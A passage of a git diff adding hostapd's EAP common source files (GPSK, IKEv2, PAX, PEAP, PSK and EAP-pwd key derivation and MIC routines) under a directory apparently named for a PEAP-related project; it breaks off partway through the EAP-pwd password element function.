Input data to MIC + * @len: Input data length in bytes + * @mic: Buffer for the computed MIC, eap_gpsk_mic_len(cipher) bytes + * Returns: 0 on success, -1 on failure + */ +int eap_gpsk_compute_mic(const u8 *sk, size_t sk_len, int vendor, + int specifier, const u8 *data, size_t len, u8 *mic) +{ + int ret; + + if (vendor != EAP_GPSK_VENDOR_IETF) + return -1; + + switch (specifier) { + case EAP_GPSK_CIPHER_AES: + ret = eap_gpsk_compute_mic_aes(sk, sk_len, data, len, mic); + break; +#ifdef EAP_GPSK_SHA256 + case EAP_GPSK_CIPHER_SHA256: + hmac_sha256(sk, sk_len, data, len, mic); + ret = 0; + break; +#endif /* EAP_GPSK_SHA256 */ + default: + wpa_printf(MSG_DEBUG, "EAP-GPSK: Unknown cipher %d:%d used in " + "MIC computation", vendor, specifier); + ret = -1; + break; + } + + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_gpsk_common.h b/peapwn/mods/hostap/src/eap_common/eap_gpsk_common.h new file mode 100644 index 000000000..fbcd54732 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_gpsk_common.h @@ -0,0 +1,66 @@ +/* + * EAP server/peer: EAP-GPSK shared routines + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_GPSK_COMMON_H +#define EAP_GPSK_COMMON_H + +#define EAP_GPSK_OPCODE_GPSK_1 1 +#define EAP_GPSK_OPCODE_GPSK_2 2 +#define EAP_GPSK_OPCODE_GPSK_3 3 +#define EAP_GPSK_OPCODE_GPSK_4 4 +#define EAP_GPSK_OPCODE_FAIL 5 +#define EAP_GPSK_OPCODE_PROTECTED_FAIL 6 + +/* Failure-Code in GPSK-Fail and GPSK-Protected-Fail */ +#define EAP_GPSK_FAIL_PSK_NOT_FOUND 0x00000001 +#define EAP_GPSK_FAIL_AUTHENTICATION_FAILURE 0x00000002 +#define EAP_GPSK_FAIL_AUTHORIZATION_FAILURE 0x00000003 + +#define EAP_GPSK_RAND_LEN 32 +#define EAP_GPSK_MAX_SK_LEN 32 +#define EAP_GPSK_MAX_PK_LEN 32 +#define EAP_GPSK_MAX_MIC_LEN 32 + +#define EAP_GPSK_VENDOR_IETF 0x00000000 +#define EAP_GPSK_CIPHER_RESERVED 0x000000 +#define EAP_GPSK_CIPHER_AES 0x000001 +#define EAP_GPSK_CIPHER_SHA256 0x000002 + + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct eap_gpsk_csuite { + u8 vendor[4]; + u8 specifier[2]; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +int eap_gpsk_supported_ciphersuite(int vendor, int specifier); +int eap_gpsk_derive_keys(const u8 *psk, size_t psk_len, int vendor, + int specifier, + const u8 *rand_client, const u8 *rand_server, + const u8 *id_client, size_t id_client_len, + const u8 *id_server, size_t id_server_len, + u8 *msk, u8 *emsk, u8 *sk, size_t *sk_len, + u8 *pk, size_t *pk_len); +int eap_gpsk_derive_session_id(const u8 *psk, size_t psk_len, int vendor, + int specifier, + const u8 *rand_peer, const u8 *rand_server, + const u8 *id_peer, size_t id_peer_len, + const u8 *id_server, size_t id_server_len, + u8 method_type, u8 *sid, size_t *sid_len); +size_t eap_gpsk_mic_len(int vendor, int specifier); +int eap_gpsk_compute_mic(const u8 *sk, size_t sk_len, int vendor, + int specifier, const u8 *data, size_t len, u8 *mic); + +#endif /* EAP_GPSK_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_ikev2_common.c b/peapwn/mods/hostap/src/eap_common/eap_ikev2_common.c new file mode 100644 index 000000000..6095fd8ad --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_ikev2_common.c @@ -0,0 +1,126 @@ +/* + * EAP-IKEv2 common routines + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_defs.h" +#include "eap_common.h" +#include "ikev2_common.h" +#include "eap_ikev2_common.h" + + +int eap_ikev2_derive_keymat(int prf, struct ikev2_keys *keys, + const u8 *i_nonce, size_t i_nonce_len, + const u8 *r_nonce, size_t r_nonce_len, + u8 *keymat) +{ + u8 *nonces; + size_t nlen; + + /* KEYMAT = prf+(SK_d, Ni | Nr) */ + if (keys->SK_d == NULL || i_nonce == NULL || r_nonce == NULL) + return -1; + + nlen = i_nonce_len + r_nonce_len; + nonces = os_malloc(nlen); + if (nonces == NULL) + return -1; + os_memcpy(nonces, i_nonce, i_nonce_len); + os_memcpy(nonces + i_nonce_len, r_nonce, r_nonce_len); + + if (ikev2_prf_plus(prf, keys->SK_d, keys->SK_d_len, nonces, nlen, + keymat, EAP_MSK_LEN + EAP_EMSK_LEN)) { + os_free(nonces); + return -1; + } + os_free(nonces); + + wpa_hexdump_key(MSG_DEBUG, "EAP-IKEV2: KEYMAT", + keymat, EAP_MSK_LEN + EAP_EMSK_LEN); + + return 0; +} + + +struct wpabuf * eap_ikev2_build_frag_ack(u8 id, u8 code) +{ + struct wpabuf *msg; + +#ifdef CCNS_PL + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, 1, code, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-IKEV2: Failed to allocate memory " + "for fragment ack"); + return NULL; + } + wpabuf_put_u8(msg, 0); /* Flags */ +#else /* CCNS_PL */ + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, 0, code, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-IKEV2: Failed to allocate memory " + "for fragment ack"); + return NULL; + } +#endif /* CCNS_PL */ + + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Send fragment ack"); + + return msg; +} + + +int eap_ikev2_validate_icv(int integ_alg, struct ikev2_keys *keys, + int initiator, const struct wpabuf *msg, + const u8 *pos, const u8 *end) +{ + const struct ikev2_integ_alg *integ; + size_t icv_len; + u8 icv[IKEV2_MAX_HASH_LEN]; + const u8 *SK_a = initiator ? keys->SK_ai : keys->SK_ar; + + integ = ikev2_get_integ(integ_alg); + if (integ == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Unknown INTEG " + "transform / cannot validate ICV"); + return -1; + } + icv_len = integ->hash_len; + + if (end - pos < (int) icv_len) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Not enough room in the " + "message for Integrity Checksum Data"); + return -1; + } + + if (SK_a == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No SK_a for ICV validation"); + return -1; + } + + if (ikev2_integ_hash(integ_alg, SK_a, keys->SK_integ_len, + wpabuf_head(msg), + wpabuf_len(msg) - icv_len, icv) < 0) { + wpa_printf(MSG_INFO, "EAP-IKEV2: Could not calculate ICV"); + return -1; + } + + if (os_memcmp(icv, end - icv_len, icv_len) != 0) { + wpa_printf(MSG_INFO, "EAP-IKEV2: Invalid ICV"); + wpa_hexdump(MSG_DEBUG, "EAP-IKEV2: Calculated ICV", + icv, icv_len); + wpa_hexdump(MSG_DEBUG, "EAP-IKEV2: Received ICV", + end - icv_len, icv_len); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Valid Integrity Checksum Data in " + "the received message"); + + return icv_len; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_ikev2_common.h b/peapwn/mods/hostap/src/eap_common/eap_ikev2_common.h new file mode 100644 index 000000000..329ccc4d7 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_ikev2_common.h @@ -0,0 +1,36 @@ +/* + * EAP-IKEv2 definitions + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_IKEV2_COMMON_H +#define EAP_IKEV2_COMMON_H + +#ifdef CCNS_PL +/* incorrect bit order */ +#define IKEV2_FLAGS_LENGTH_INCLUDED 0x01 +#define IKEV2_FLAGS_MORE_FRAGMENTS 0x02 +#define IKEV2_FLAGS_ICV_INCLUDED 0x04 +#else /* CCNS_PL */ +#define IKEV2_FLAGS_LENGTH_INCLUDED 0x80 +#define IKEV2_FLAGS_MORE_FRAGMENTS 0x40 +#define IKEV2_FLAGS_ICV_INCLUDED 0x20 +#endif /* CCNS_PL */ + +#define IKEV2_FRAGMENT_SIZE 1400 + +struct ikev2_keys; + +int eap_ikev2_derive_keymat(int prf, struct ikev2_keys *keys, + const u8 *i_nonce, size_t i_nonce_len, + const u8 *r_nonce, size_t r_nonce_len, + u8 *keymat); +struct wpabuf * eap_ikev2_build_frag_ack(u8 id, u8 code); +int eap_ikev2_validate_icv(int integ_alg, struct ikev2_keys *keys, + int initiator, const struct wpabuf *msg, + const u8 *pos, const u8 *end); + +#endif /* EAP_IKEV2_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_pax_common.c b/peapwn/mods/hostap/src/eap_common/eap_pax_common.c new file mode 100644 index 000000000..b3bbacc63 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_pax_common.c @@ -0,0 +1,144 @@ +/* + * EAP server/peer: EAP-PAX shared routines + * Copyright (c) 2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "eap_pax_common.h" + + +/** + * eap_pax_kdf - PAX Key Derivation Function + * @mac_id: MAC ID (EAP_PAX_MAC_*) / currently, only HMAC_SHA1_128 is supported + * @key: Secret key (X) + * @key_len: Length of the secret key in bytes + * @identifier: Public identifier for the key (Y) + * @entropy: Exchanged entropy to seed the KDF (Z) + * @entropy_len: Length of the entropy in bytes + * @output_len: Output len in bytes (W) + * @output: Buffer for the derived key + * Returns: 0 on success, -1 failed + * + * RFC 4746, Section 2.6: PAX-KDF-W(X, Y, Z) + */ +int eap_pax_kdf(u8 mac_id, const u8 *key, size_t key_len, + const char *identifier, + const u8 *entropy, size_t entropy_len, + size_t output_len, u8 *output) +{ + u8 mac[SHA1_MAC_LEN]; + u8 counter, *pos; + const u8 *addr[3]; + size_t len[3]; + size_t num_blocks, left; + + num_blocks = (output_len + EAP_PAX_MAC_LEN - 1) / EAP_PAX_MAC_LEN; + if (identifier == NULL || num_blocks >= 255) + return -1; + + /* TODO: add support for EAP_PAX_HMAC_SHA256_128 */ + if (mac_id != EAP_PAX_MAC_HMAC_SHA1_128) + return -1; + + addr[0] = (const u8 *) identifier; + len[0] = os_strlen(identifier); + addr[1] = entropy; + len[1] = entropy_len; + addr[2] = &counter; + len[2] = 1; + + pos = output; + left = output_len; + for (counter = 1; counter <= (u8) num_blocks; counter++) { + size_t clen = left > EAP_PAX_MAC_LEN ? EAP_PAX_MAC_LEN : left; + hmac_sha1_vector(key, key_len, 3, addr, len, mac); + os_memcpy(pos, mac, clen); + pos += clen; + left -= clen; + } + + return 0; +} + + +/** + * eap_pax_mac - EAP-PAX MAC + * @mac_id: MAC ID (EAP_PAX_MAC_*) / currently, only HMAC_SHA1_128 is supported + * @key: Secret key + * @key_len: Length of the secret key in bytes + * @data1: Optional data, first block; %NULL if not used + * @data1_len: Length of data1 in bytes + * @data2: Optional data, second block; %NULL if not used + * @data2_len: Length of data2 in bytes + * @data3: Optional data, third block; %NULL if not used + * @data3_len: Length of data3 in bytes + * @mac: Buffer for the MAC value (EAP_PAX_MAC_LEN = 16 bytes) + * Returns: 0 on success, -1 on failure + * + * Wrapper function to calculate EAP-PAX MAC. + */ +int eap_pax_mac(u8 mac_id, const u8 *key, size_t key_len, + const u8 *data1, size_t data1_len, + const u8 *data2, size_t data2_len, + const u8 *data3, size_t data3_len, + u8 *mac) +{ + u8 hash[SHA1_MAC_LEN]; + const u8 *addr[3]; + size_t len[3]; + size_t count; + + /* TODO: add support for EAP_PAX_HMAC_SHA256_128 */ + if (mac_id != EAP_PAX_MAC_HMAC_SHA1_128) + return -1; + + addr[0] = data1; + len[0] = data1_len; + addr[1] = data2; + len[1] = data2_len; + addr[2] = data3; + len[2] = data3_len; + + count = (data1 ? 1 : 0) + (data2 ? 1 : 0) + (data3 ? 1 : 0); + hmac_sha1_vector(key, key_len, count, addr, len, hash); + os_memcpy(mac, hash, EAP_PAX_MAC_LEN); + + return 0; +} + + +/** + * eap_pax_initial_key_derivation - EAP-PAX initial key derivation + * @mac_id: MAC ID (EAP_PAX_MAC_*) / currently, only HMAC_SHA1_128 is supported + * @ak: Authentication Key + * @e: Entropy + * @mk: Buffer for the derived Master Key + * @ck: Buffer for the derived Confirmation Key + * @ick: Buffer for the derived Integrity Check Key + * Returns: 0 on success, -1 on failure + */ +int eap_pax_initial_key_derivation(u8 mac_id, const u8 *ak, const u8 *e, + u8 *mk, u8 *ck, u8 *ick) +{ + wpa_printf(MSG_DEBUG, "EAP-PAX: initial key derivation"); + if (eap_pax_kdf(mac_id, ak, EAP_PAX_AK_LEN, "Master Key", + e, 2 * EAP_PAX_RAND_LEN, EAP_PAX_MK_LEN, mk) || + eap_pax_kdf(mac_id, mk, EAP_PAX_MK_LEN, "Confirmation Key", + e, 2 * EAP_PAX_RAND_LEN, EAP_PAX_CK_LEN, ck) || + eap_pax_kdf(mac_id, mk, EAP_PAX_MK_LEN, "Integrity Check Key", + e, 2 * EAP_PAX_RAND_LEN, EAP_PAX_ICK_LEN, ick)) + return -1; + + wpa_hexdump_key(MSG_MSGDUMP, "EAP-PAX: AK", ak, EAP_PAX_AK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-PAX: MK", mk, EAP_PAX_MK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-PAX: CK", ck, EAP_PAX_CK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-PAX: ICK", ick, EAP_PAX_ICK_LEN); + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_pax_common.h b/peapwn/mods/hostap/src/eap_common/eap_pax_common.h new file mode 100644 index 000000000..fb03df253 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_pax_common.h @@ -0,0 +1,91 @@ +/* + * EAP server/peer: EAP-PAX shared routines + * Copyright (c) 2005-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_PAX_COMMON_H +#define EAP_PAX_COMMON_H + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct eap_pax_hdr { + u8 op_code; + u8 flags; + u8 mac_id; + u8 dh_group_id; + u8 public_key_id; + /* Followed by variable length payload and ICV */ +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +/* op_code: */ +enum { + EAP_PAX_OP_STD_1 = 0x01, + EAP_PAX_OP_STD_2 = 0x02, + EAP_PAX_OP_STD_3 = 0x03, + EAP_PAX_OP_SEC_1 = 0x11, + EAP_PAX_OP_SEC_2 = 0x12, + EAP_PAX_OP_SEC_3 = 0x13, + EAP_PAX_OP_SEC_4 = 0x14, + EAP_PAX_OP_SEC_5 = 0x15, + EAP_PAX_OP_ACK = 0x21 +}; + +/* flags: */ +#define EAP_PAX_FLAGS_MF 0x01 +#define EAP_PAX_FLAGS_CE 0x02 +#define EAP_PAX_FLAGS_AI 0x04 + +/* mac_id: */ +#define EAP_PAX_MAC_HMAC_SHA1_128 0x01 +#define EAP_PAX_HMAC_SHA256_128 0x02 + +/* dh_group_id: */ +#define EAP_PAX_DH_GROUP_NONE 0x00 +#define EAP_PAX_DH_GROUP_2048_MODP 0x01 +#define EAP_PAX_DH_GROUP_3072_MODP 0x02 +#define EAP_PAX_DH_GROUP_NIST_ECC_P_256 0x03 + +/* public_key_id: */ +#define EAP_PAX_PUBLIC_KEY_NONE 0x00 +#define EAP_PAX_PUBLIC_KEY_RSAES_OAEP 0x01 +#define EAP_PAX_PUBLIC_KEY_RSA_PKCS1_V1_5 0x02 +#define EAP_PAX_PUBLIC_KEY_EL_GAMAL_NIST_ECC 0x03 + +/* ADE type: */ +#define EAP_PAX_ADE_VENDOR_SPECIFIC 0x01 +#define EAP_PAX_ADE_CLIENT_CHANNEL_BINDING 0x02 +#define EAP_PAX_ADE_SERVER_CHANNEL_BINDING 0x03 + + +#define EAP_PAX_RAND_LEN 32 +#define EAP_PAX_MAC_LEN 16 +#define EAP_PAX_ICV_LEN 16 +#define EAP_PAX_AK_LEN 16 +#define EAP_PAX_MK_LEN 16 +#define EAP_PAX_CK_LEN 16 +#define EAP_PAX_ICK_LEN 16 + + +int eap_pax_kdf(u8 mac_id, const u8 *key, size_t key_len, + const char *identifier, + const u8 *entropy, size_t entropy_len, + size_t output_len, u8 *output); +int eap_pax_mac(u8 mac_id, const u8 *key, size_t key_len, + const u8 *data1, size_t data1_len, + const u8 *data2, size_t data2_len, + const u8 *data3, size_t data3_len, + u8 *mac); +int eap_pax_initial_key_derivation(u8 mac_id, const u8 *ak, const u8 *e, + u8 *mk, u8 *ck, u8 *ick); + +#endif /* EAP_PAX_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_peap_common.c b/peapwn/mods/hostap/src/eap_common/eap_peap_common.c new file mode 100644 index 000000000..68b8878c9 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_peap_common.c @@ -0,0 +1,85 @@ +/* + * EAP-PEAP common routines + * Copyright (c) 2008-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "eap_peap_common.h" + +int peap_prfplus(int version, const u8 *key, size_t key_len, + const char *label, const u8 *seed, size_t seed_len, + u8 *buf, size_t buf_len) +{ + unsigned char counter = 0; + size_t pos, plen; + u8 hash[SHA1_MAC_LEN]; + size_t label_len = os_strlen(label); + u8 extra[2]; + const unsigned char *addr[5]; + size_t len[5]; + + addr[0] = hash; + len[0] = 0; + addr[1] = (unsigned char *) label; + len[1] = label_len; + addr[2] = seed; + len[2] = seed_len; + + if (version == 0) { + /* + * PRF+(K, S, LEN) = T1 | T2 | ... | Tn + * T1 = HMAC-SHA1(K, S | 0x01 | 0x00 | 0x00) + * T2 = HMAC-SHA1(K, T1 | S | 0x02 | 0x00 | 0x00) + * ... + * Tn = HMAC-SHA1(K, Tn-1 | S | n | 0x00 | 0x00) + */ + + extra[0] = 0; + extra[1] = 0; + + addr[3] = &counter; + len[3] = 1; + addr[4] = extra; + len[4] = 2; + } else { + /* + * PRF (K,S,LEN) = T1 | T2 | T3 | T4 | ... where: + * T1 = HMAC-SHA1(K, S | LEN | 0x01) + * T2 = HMAC-SHA1 (K, T1 | S | LEN | 0x02) + * T3 = HMAC-SHA1 (K, T2 | S | LEN | 0x03) + * T4 = HMAC-SHA1 (K, T3 | S | LEN | 0x04) + * ... + */ + + extra[0] = buf_len & 0xff; + + addr[3] = extra; + len[3] = 1; + addr[4] = &counter; + len[4] = 1; + } + + pos = 0; + while (pos < buf_len) { + counter++; + plen = buf_len - pos; + if (hmac_sha1_vector(key, key_len, 5, addr, len, hash) < 0) + return -1; + if (plen >= SHA1_MAC_LEN) { + os_memcpy(&buf[pos], hash, SHA1_MAC_LEN); + pos += SHA1_MAC_LEN; + } else { + os_memcpy(&buf[pos], hash, plen); + break; + } + len[0] = SHA1_MAC_LEN; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_peap_common.h b/peapwn/mods/hostap/src/eap_common/eap_peap_common.h new file mode 100644 index 000000000..7aad0dff7 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_peap_common.h @@ -0,0 +1,16 @@ +/* + * EAP-PEAP common routines + * Copyright (c) 2008-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_PEAP_COMMON_H +#define EAP_PEAP_COMMON_H + +int peap_prfplus(int version, const u8 *key, size_t key_len, + const char *label, const u8 *seed, size_t seed_len, + u8 *buf, size_t buf_len); + +#endif /* EAP_PEAP_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_psk_common.c b/peapwn/mods/hostap/src/eap_common/eap_psk_common.c new file mode 100644 index 000000000..638102ffe --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_psk_common.c @@ -0,0 +1,68 @@ +/* + * EAP server/peer: EAP-PSK shared routines + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "eap_defs.h" +#include "eap_psk_common.h" + +#define aes_block_size 16 + + +int eap_psk_key_setup(const u8 *psk, u8 *ak, u8 *kdk) +{ + os_memset(ak, 0, aes_block_size); + if (aes_128_encrypt_block(psk, ak, ak)) + return -1; + os_memcpy(kdk, ak, aes_block_size); + ak[aes_block_size - 1] ^= 0x01; + kdk[aes_block_size - 1] ^= 0x02; + if (aes_128_encrypt_block(psk, ak, ak) || + aes_128_encrypt_block(psk, kdk, kdk)) + return -1; + return 0; +} + + +int eap_psk_derive_keys(const u8 *kdk, const u8 *rand_p, u8 *tek, u8 *msk, + u8 *emsk) +{ + u8 hash[aes_block_size]; + u8 counter = 1; + int i; + + if (aes_128_encrypt_block(kdk, rand_p, hash)) + return -1; + + hash[aes_block_size - 1] ^= counter; + if (aes_128_encrypt_block(kdk, hash, tek)) + return -1; + hash[aes_block_size - 1] ^= counter; + counter++; + + for (i = 0; i < EAP_MSK_LEN / aes_block_size; i++) { + hash[aes_block_size - 1] ^= counter; + if (aes_128_encrypt_block(kdk, hash, &msk[i * aes_block_size])) + return -1; + hash[aes_block_size - 1] ^= counter; + counter++; + } + + for (i = 0; i < EAP_EMSK_LEN / aes_block_size; i++) { + hash[aes_block_size - 1] ^= counter; + if (aes_128_encrypt_block(kdk, hash, + &emsk[i * aes_block_size])) + return -1; + hash[aes_block_size - 1] ^= counter; + counter++; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_psk_common.h b/peapwn/mods/hostap/src/eap_common/eap_psk_common.h new file mode 100644 index 000000000..8bc2c3c4c --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_psk_common.h @@ -0,0 +1,72 @@ +/* + * EAP server/peer: EAP-PSK shared routines + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_PSK_COMMON_H +#define EAP_PSK_COMMON_H + + +#define EAP_PSK_RAND_LEN 16 +#define EAP_PSK_MAC_LEN 16 +#define EAP_PSK_TEK_LEN 16 +#define EAP_PSK_PSK_LEN 16 +#define EAP_PSK_AK_LEN 16 +#define EAP_PSK_KDK_LEN 16 + +#define EAP_PSK_R_FLAG_CONT 1 +#define EAP_PSK_R_FLAG_DONE_SUCCESS 2 +#define EAP_PSK_R_FLAG_DONE_FAILURE 3 +#define EAP_PSK_E_FLAG 0x20 + +#define EAP_PSK_FLAGS_GET_T(flags) (((flags) & 0xc0) >> 6) +#define EAP_PSK_FLAGS_SET_T(t) ((u8) (t) << 6) + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +/* EAP-PSK First Message (AS -> Supplicant) */ +struct eap_psk_hdr_1 { + u8 flags; + u8 rand_s[EAP_PSK_RAND_LEN]; + /* Followed by variable length ID_S */ +} STRUCT_PACKED; + +/* EAP-PSK Second Message (Supplicant -> AS) */ +struct eap_psk_hdr_2 { + u8 flags; + u8 rand_s[EAP_PSK_RAND_LEN]; + u8 rand_p[EAP_PSK_RAND_LEN]; + u8 mac_p[EAP_PSK_MAC_LEN]; + /* Followed by variable length ID_P */ +} STRUCT_PACKED; + +/* EAP-PSK Third Message (AS -> Supplicant) */ +struct eap_psk_hdr_3 { + u8 flags; + u8 rand_s[EAP_PSK_RAND_LEN]; + u8 mac_s[EAP_PSK_MAC_LEN]; + /* Followed by variable length PCHANNEL */ +} STRUCT_PACKED; + +/* EAP-PSK Fourth Message (Supplicant -> AS) */ +struct eap_psk_hdr_4 { + u8 flags; + u8 rand_s[EAP_PSK_RAND_LEN]; + /* Followed by variable length PCHANNEL */ +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +int __must_check eap_psk_key_setup(const u8 *psk, u8 *ak, u8 *kdk); +int __must_check eap_psk_derive_keys(const u8 *kdk, const u8 *rand_p, u8 *tek, + u8 *msk, u8 *emsk); + +#endif /* EAP_PSK_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_pwd_common.c b/peapwn/mods/hostap/src/eap_common/eap_pwd_common.c new file mode 100644 index 000000000..7d6e6b889 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_pwd_common.c @@ -0,0 +1,345 @@ +/* + * EAP server/peer: EAP-pwd shared routines + * Copyright (c) 2010, Dan Harkins + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include "common.h" +#include "crypto/sha256.h" +#include "crypto/crypto.h" +#include "eap_defs.h" +#include "eap_pwd_common.h" + +/* The random function H(x) = HMAC-SHA256(0^32, x) */ +struct crypto_hash * eap_pwd_h_init(void) +{ + u8 allzero[SHA256_MAC_LEN]; + os_memset(allzero, 0, SHA256_MAC_LEN); + return crypto_hash_init(CRYPTO_HASH_ALG_HMAC_SHA256, allzero, + SHA256_MAC_LEN); +} + + +void eap_pwd_h_update(struct crypto_hash *hash, const u8 *data, size_t len) +{ + crypto_hash_update(hash, data, len); +} + + +void eap_pwd_h_final(struct crypto_hash *hash, u8 *digest) +{ + size_t len = SHA256_MAC_LEN; + crypto_hash_finish(hash, digest, &len); +} + + +/* a counter-based KDF based on NIST SP800-108 */ +static int eap_pwd_kdf(const u8 *key, size_t keylen, const u8 *label, + size_t labellen, u8 *result, size_t resultbitlen) +{ + struct crypto_hash *hash; + u8 digest[SHA256_MAC_LEN]; + u16 i, ctr, L; + size_t resultbytelen, len = 0, mdlen; + + resultbytelen = (resultbitlen + 7) / 8; + ctr = 0; + L = htons(resultbitlen); + while (len < resultbytelen) { + ctr++; + i = htons(ctr); + hash = crypto_hash_init(CRYPTO_HASH_ALG_HMAC_SHA256, + key, keylen); + if (hash == NULL) + return -1; + if (ctr > 1) + crypto_hash_update(hash, digest, SHA256_MAC_LEN); + crypto_hash_update(hash, (u8 *) &i, sizeof(u16)); + crypto_hash_update(hash, label, labellen); + crypto_hash_update(hash, (u8 *) &L, sizeof(u16)); + mdlen = SHA256_MAC_LEN; + if (crypto_hash_finish(hash, digest, &mdlen) < 0) + return -1; + if ((len + mdlen) > resultbytelen) + os_memcpy(result + len, digest, resultbytelen - len); + else + os_memcpy(result + len, digest, mdlen); + len += mdlen; + } + + /* since we're expanding to a bit length, mask off the excess */ + if (resultbitlen % 8) { + u8 mask = 0xff; + mask <<= (8 - (resultbitlen % 8)); + result[resultbytelen - 1] &= mask; + } + + return 0; +} + + +/* + * compute a "random" secret point on an elliptic curve based + * on the password and identities. + */ +int compute_password_element(EAP_PWD_group *grp, u16 num, + u8 *password, int password_len, + u8 *id_server, int id_server_len, + u8 *id_peer, int id_peer_len, u8 *token) +{ + BIGNUM *x_candidate = NULL, *rnd = NULL, *cofactor = NULL; + struct crypto_hash *hash; + unsigned char pwe_digest[SHA256_MAC_LEN], *prfbuf = NULL, ctr; + int nid, is_odd, ret = 0; + size_t primebytelen, primebitlen; + + switch (num) { /* from IANA registry for IKE D-H groups */ + case 19: + nid = NID_X9_62_prime256v1; + break; + case 20: + nid = NID_secp384r1; + break; + case 21: + nid = NID_secp521r1; + break; + case 25: + nid = NID_X9_62_prime192v1; + break; + case 26: + nid = NID_secp224r1; + break; + default: + wpa_printf(MSG_INFO, "EAP-pwd: unsupported group %d", num); + return -1; + } + + grp->pwe = NULL; + grp->order = NULL; + grp->prime = NULL; + + if ((grp->group = EC_GROUP_new_by_curve_name(nid)) == NULL) { + wpa_printf(MSG_INFO, "EAP-pwd: unable to create EC_GROUP"); + goto fail; + } + + if (((rnd = BN_new()) == NULL) || + ((cofactor = BN_new()) == NULL) || + ((grp->pwe = EC_POINT_new(grp->group)) == NULL) || + ((grp->order = BN_new()) == NULL) || + ((grp->prime = BN_new()) == NULL) || + ((x_candidate = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-pwd: unable to create bignums"); + goto fail; + } + + if (!EC_GROUP_get_curve_GFp(grp->group, grp->prime, NULL, NULL, NULL)) + { + wpa_printf(MSG_INFO, "EAP-pwd: unable to get prime for GFp " + "curve"); + goto fail; + } + if (!EC_GROUP_get_order(grp->group, grp->order, NULL)) { + wpa_printf(MSG_INFO, "EAP-pwd: unable to get order for curve"); + goto fail; + } + if (!EC_GROUP_get_cofactor(grp->group, cofactor, NULL)) { + wpa_printf(MSG_INFO, "EAP-pwd: unable to get cofactor for " + "curve"); + goto fail; + } + primebitlen = BN_num_bits(grp->prime); + primebytelen = BN_num_bytes(grp->prime); + if ((prfbuf = os_malloc(primebytelen)) == NULL) { + wpa_printf(MSG_INFO, "EAP-pwd: unable to malloc space for prf " + "buffer"); + goto fail; + } + os_memset(prfbuf, 0, primebytelen); + ctr = 0; + while (1) { + if (ctr > 30) { + wpa_printf(MSG_INFO, "EAP-pwd: unable to find random " + "point on curve for group %d, something's " + "fishy", num); + goto fail; + } + ctr++; + + /* + * compute counter-mode password value and stretch to prime + * pwd-seed = H(token | peer-id | server-id | password | + * counter) + */ + hash = eap_pwd_h_init(); + if (hash == NULL) + goto fail; + eap_pwd_h_update(hash, token, sizeof(u32)); + eap_pwd_h_update(hash, id_peer, id_peer_len); + eap_pwd_h_update(hash, id_server, id_server_len); + 